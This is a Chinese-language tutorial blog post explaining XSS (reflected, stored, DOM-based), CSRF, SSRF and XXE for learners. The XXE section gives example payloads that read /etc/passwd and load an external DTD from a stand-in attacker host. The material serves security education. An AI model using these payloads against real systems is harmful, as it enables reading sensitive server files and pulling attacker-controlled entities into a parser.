常见的漏洞(xss,csrf,xxe)

跨站脚本攻击(xss):通常指黑客通过“HTML注入”篡改网页,插入恶意的脚本,从而在用户浏览网页时,控制用户浏览器的一种攻击。

其实在一开的时候,这种攻击的演示案列是跨域的,所以叫“跨域脚本”,但是发展到今天,JavaScript的强大功能以及网站前端应用的复杂化,是否跨域已经不重要了,总共有三种类型

第一种类型:反射型XSS

只是简单的把用户输入的数据“反射”给浏览器。也就是说,只需要诱使用户点击一个恶意链接,才能攻击。反射型XSS也叫做非持久性XSS

第二种类型:存储型XSS

把用户输入的数据存储在服务器,比较常见的就是黑客写下一篇含有恶意javascript

代码的博客文章,所有访问该篇的用户,都会在他们的浏览器中执行这段恶意代码,黑客会把恶意的脚本保存到服务器上,所以这种攻击就叫做存储型XSS,也叫作持久性XSS

第三种类型:DOM BASED XSS

该类攻击是反射型XSS的变种。它通常是由于客户端接收到的脚本代码存在逻辑错误或者使用不当导致的。比如Javascript代码不正确地使用各种DOM方法(如document.write)和Javascript内部函数(如eval函数),动态拼接HTML代码和脚本代码就容易引发DOM型的跨站脚本攻击。
DOM型XSS与前面两种XSS的区别就在于DOM型XSS攻击的代码不需要与服务器端进行交互,DOM型XSS的触发基于浏览器端对DOM数据的解析来完成,也就是完全是客户端的事情。

判断是哪一种攻击

发送一次带XSS代码的请求,若只能在当前返回的数据包里发现XSS代码,则是反射型;若以后这个页面的返回包里都会有XSS代码,则是存储型;若在返回包里找不到XSS代码,则是DOM型

跨站请求伪造(CSRF):攻击者通过伪造用户的浏览器的请求,向访问一个用户自己曾经认证访问过的网站发送出去,使目标网站接收并误以为是用户的真实操作而去执行命令.

CSRF可以做什么?

攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账…造成的问题包括:个人隐私泄露以及财产安全。

 CSRF防御

随着对 CSRF 漏洞研究的不断深入,不断涌现出一些专门针对 CSRF 漏洞进行检测的工具,如CSRFTester,CSRF Request Builder 等。

以 CSRFTester 工具为例,CSRF 漏洞检测工具的测试原理如下:使用 CSRFTester 进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在 CSRFTester 中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在 CSRF 漏洞,当然此款工具也可以被用来进行 CSRF 攻击。也就相当于一次简单的测试

CSRF为什么可以成功攻击,本质原因是重要操作的所有参数都是可以被攻击者猜测到的,攻击者只有预测到URL的所有的参数与参数值,才可以成功构造一个伪造的请求:反之攻击者将无法攻击

SSRF(服务器端请求伪造)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制

该漏洞通常由攻击者构造的请求传递给服务端,服务器端对传回的请求未作特殊处理直接执行而造成的。然后服务器以他的身份来访问服务器的其他资源

 危害

扫描内网(主机、端口)

向内部任意主机的任意端口发送精心构造的payload

攻击内网的Web应用

读取任意文件

 拒绝服务攻击

 XXE(XML外部实体注入)

我们先看看xml是什么

xml(扩展标记语言)是专门在world wide web(www)上传递信息的语言,就像html一样

再来看xxe

程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。
某些应用程序允许XML 格式的数据输入和解析,可以通过引入外部实体的方式进行攻击。
构造恶意 DTD

DTD的作用是定义 XML 文档的合法构建模块。包括元素的定义规则、元素间的关系规则、属性的定义规则

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用,也就是文档类型定义

XXE 的产生正是外部实体引用的结果,可分为普通实体和参数实体

普通实体声明格式如下:

<!ENTITY 实体名 SYSTEM "URI">
或者
<!ENTITY 实体名 PUBLIC "public_ID" "URI">

eg:

<!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>

 声明实体 xxe,用于读取 /etc/passwd 文件,然后通过 &xxe; 来引用执行

参数实体声明主要用于后续使用,与普通实体不同的是,它中间有百分号字符(%),其声明格式如下:

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
<!DOCTYPE foo [
  	<!ENTITY  % xxe SYSTEM "http://hacker.com/evil.dtd" >
  	%xxe;
]>
<root>
  	<name>&evil;</name>
</root>

上面先声明 xxe 参数实体,引入外部实体 "http://hacker.com/evil.dtd",里面声明了一个叫 evil 的实体,用于读取 /etc/passwd 文件,最后在通过 &evil; 来引用执行。 

注意:不同语言支持的协议还不一样

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值